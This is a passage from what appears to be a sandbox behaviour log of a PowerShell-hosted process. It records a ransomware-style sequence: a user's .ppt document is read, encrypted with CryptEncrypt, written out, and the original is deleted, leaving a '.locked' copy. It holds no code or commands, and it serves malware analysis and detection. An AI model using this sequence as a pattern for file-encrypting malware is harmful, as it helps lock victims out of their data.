Data3=0x0, Data4=([0]=0x7b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.197] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.197] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.197] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.197] ReadFile (in: hFile=0x858, lpBuffer=0x6a758c4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a758c4*, lpNumberOfBytesRead=0x99ae7a8*=0xc386, lpOverlapped=0x0) returned 1 [0133.197] CryptEncrypt (in: hKey=0x8e84fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a898d0*, pdwDataLen=0x99ae79c*=0xc380, dwBufLen=0xc380 | out: pbData=0x6a898d0*, pdwDataLen=0x99ae79c*=0xc380) returned 1 [0133.198] WriteFile (in: hFile=0x874, lpBuffer=0x6a7116c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a7116c*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0133.198] WriteFile (in: hFile=0x874, lpBuffer=0x6a8a8bc*, nNumberOfBytesToWrite=0xb394, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a8a8bc*, lpNumberOfBytesWritten=0x99ae780*=0xb394, lpOverlapped=0x0) returned 1 [0133.199] ReadFile (in: hFile=0x858, lpBuffer=0x6a758c4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a758c4*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0133.199] CryptEncrypt (in: hKey=0x8e84fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a95c74*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a95c74*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0133.199] CryptEncrypt (in: hKey=0x8e84fb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a95ca8*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a95ca8*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0133.199] WriteFile (in: hFile=0x874, lpBuffer=0x6a7116c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6a7116c*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0133.200] CloseHandle (hObject=0x874) returned 1 [0133.201] CloseHandle (hObject=0x858) returned 1 [0133.201] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", lpFilePart=0x0) returned 0x47 [0133.201] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.202] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.202] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.202] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.202] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\jb6wy0ijf-nqi-j.ppt")) returned 0x20 [0133.203] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", lpFilePart=0x0) returned 0x47 [0133.203] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.203] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.203] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.203] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.203] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.203] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.203] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.203] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.204] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.204] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.204] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.204] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.204] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0133.204] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0133.204] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0133.204] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0133.204] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc")) returned 0x10 [0133.204] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc")) returned 0x10 [0133.204] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC", lpFilePart=0x0) returned 0x33 [0133.204] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC", lpFilePart=0x0) returned 0x33 [0133.204] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\jb6wy0ijf-nqi-j.ppt")) returned 0x20 [0133.204] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", lpFilePart=0x0) returned 0x47 [0133.205] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", lpFilePart=0x0) returned 0x47 [0133.205] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", lpFilePart=0x0) returned 0x47 [0133.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0133.205] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", lpFilePart=0x0) returned 0x47 [0133.205] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt\\", lpFilePart=0x0) returned 0x48 [0133.205] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0133.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0133.205] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0133.205] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0133.205] CoTaskMemFree (pv=0x8eb8930) [0133.206] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\jb6wy0ijf-nqi-j.ppt")) returned 0x20 [0133.207] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", lpFilePart=0x0) returned 0x47 [0133.207] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", lpFilePart=0x0) returned 0x47 [0133.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0133.207] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\jb6wy0ijf-nqi-j.ppt"), fInfoLevelId=0x0, lpFileInformation=0x6aac064 | out: lpFileInformation=0x6aac064*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be1a3d0, ftCreationTime.dwHighDateTime=0x1d4ab9d, ftLastAccessTime.dwLowDateTime=0xff78fcf0, ftLastAccessTime.dwHighDateTime=0x1d49f56, ftLastWriteTime.dwLowDateTime=0xff78fcf0, ftLastWriteTime.dwHighDateTime=0x1d49f56, nFileSizeHigh=0x0, nFileSizeLow=0xc386)) returned 1 [0133.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0133.207] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\jb6wy0ijf-nqi-j.ppt")) returned 1 [0133.209] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.209] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.209] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.209] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.209] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.210] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\jb6wy0ijf-nqi-j.ppt.locked")) returned 0x20 [0133.210] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\jb6wy0ijf-nqi-j.ppt.locked")) returned 0x20 [0133.210] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt.locked", lpFilePart=0x0) returned 0x4e [0133.210] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt.locked", lpFilePart=0x0) returned 0x4e [0133.210] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", lpFilePart=0x0) returned 0x47 [0133.210] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.210] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.210] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.210] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.211] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.211] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.211] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.211] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.211] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.212] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.212] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.212] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.212] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.213] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.213] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.213] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.213] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.213] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0133.214] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\jb6wy0ijf-nqi-j.ppt.locked"), 